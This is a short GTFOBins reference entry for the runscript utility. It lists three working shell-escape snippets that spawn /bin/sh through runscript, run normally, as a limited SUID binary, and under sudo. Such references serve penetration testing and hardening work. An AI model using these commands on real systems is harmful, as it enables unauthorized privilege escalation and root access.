GTFOBins.github.io/_gtfobins/runscript.md

19 lines
335 B
Markdown
Raw Normal View History

2023-10-21 13:36:32 +02:00
---
functions:
shell:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
runscript $TF
limited-suid:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
./runscript $TF
sudo:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
sudo runscript $TF
---